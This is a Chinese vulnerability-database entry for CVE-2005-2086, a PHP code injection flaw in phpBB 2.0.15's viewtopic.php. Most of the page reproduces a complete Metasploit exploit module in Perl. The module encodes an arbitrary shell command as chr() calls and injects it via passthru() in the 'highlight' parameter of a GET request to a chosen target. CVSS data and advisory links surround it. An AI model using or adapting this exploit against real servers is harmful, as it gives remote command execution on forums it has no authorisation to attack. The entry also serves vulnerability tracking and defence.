phpBB viewtopic.php 代码执行漏洞

phpBB viewtopic.php 代码执行漏洞

漏洞ID 1108939 漏洞类型 未知
发布时间 2005-07-19 更新时间 2005-07-19
图片[1]-phpBB viewtopic.php 代码执行漏洞-安全小百科CVE编号 CVE-2005-2086
图片[2]-phpBB viewtopic.php 代码执行漏洞-安全小百科CNNVD-ID CNNVD-200507-019
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1113
https://www.securityfocus.com/bid/89783
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200507-019
|漏洞详情
phpBB是一套使用用PHP语言实现Web论坛系统。phpBB2.0.15及之前版本中的viewtopic.php存在PHP脚本注入漏洞。远程攻击者可以利用此漏洞在主机上执行任意PHP代码。
|漏洞EXP
##
#        Title: phpBB 2.0.15 arbitrary command execution eXploit
#    Name: php_phpbb2_0_15.pm
# License: Artistic/BSD/GPL
#         Info: Coded because of boredom.
#
#  - This is an exploit module for the Metasploit Framework, please see
#     http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::php_phpbb2_0_15;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
        'Name'     => 'phpBB 2.0.15 arbitrary command execution eXploit',
        'Version'  => '$Revision: 1.0 $',
        'Authors'  => [ 'str0ke <str0ke [at] milw0rm.com> [Artistic/GPL]' ],
        'Arch'     => [ ],
        'OS'       => [ ],
        'Priv'     => 0,
        'UserOpts' =>
          {
                'RHOST' => [1, 'ADDR', 'The target address'],
                'RPORT' => [1, 'PORT', 'The target port', 80],
                'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
                'RPATH' => [1, 'DATA', 'Path to the viewtopic script', '/phpBB2/viewtopic.php'],
                'TOPIC' => [1, 'DATA', 'viewtopic id', '1'],
                'SSL'   => [0, 'BOOL', 'Use SSL'],
          },

        'Description' => Pex::Text::Freeform(qq{
                This module exploits an arbitrary code execution flaw in phpbb 2.0.15.
}),

        'Refs' =>
          [
                ['MIL', '1113'],
          ],

        'Payload' =>
          {
                'Space' => 512,
                'Keys'  => ['cmd', 'cmd_bash'],
          },

        'Keys' => ['phpbb'],
  };

sub new {
        my $class = shift;
        my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
        return($self);
}

sub Exploit {
        my $self = shift;
        my $target_host    = $self->GetVar('RHOST');
        my $target_port    = $self->GetVar('RPORT');
        my $vhost          = $self->GetVar('VHOST') || $target_host;
        my $path           = $self->GetVar('RPATH');
        my $topic           = $self->GetVar('TOPIC');
        my $cmd            = $self->GetVar('EncodedPayload')->RawPayload;

        # Encode the command as a set of chr() function calls
        my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

        # Create the phpBB get request data
        my $data = "?t=$topic&highlight=%27.".
                "passthru($byte)".
                ".%27";

        my $req =
                "GET $path$data HTTP/1.1rn".
                "Host: $vhost:$target_portrn".
                "Content-Type: application/htmlrn".
                "Content-Length: ". length($data)."rn".
                "Connection: Closern".
                "rn";

        my $s = Msf::Socket::Tcp->new(
                'PeerAddr'  => $target_host,
                'PeerPort'  => $target_port,
                'LocalPort' => $self->GetVar('CPORT'),
                'SSL'       => $self->GetVar('SSL'),
          );

        if ($s->IsError){
                $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
                return;
        }

        $self->PrintLine("[*] Sending the malicious phpBB Get request...");

        $s->Send($req);

        my $results = $s->Recv(-1, 20);
        $s->Close();

        return;
}

1;

# milw0rm.com [2005-07-19]
|受影响的产品
phpBB Group phpBB 2.0.15
|参考资料

来源:www.phpbb.com
链接:http://www.phpbb.com/phpBB/viewtopic.php?f=14&t;=302011
来源:BUGTRAQ
名称:20050628SecurityAdvisory-phpBB2.0.15PHP-codeinjectionbug
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=111999905917019&w;=2

相关推荐: Microsoft Outlook Express SMTP Over TLS Information Disclosure Vulnerability

Microsoft Outlook Express SMTP Over TLS Information Disclosure Vulnerability 漏洞ID 1101729 漏洞类型 Design Error 发布时间 2002-07-19 更新时间 2…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享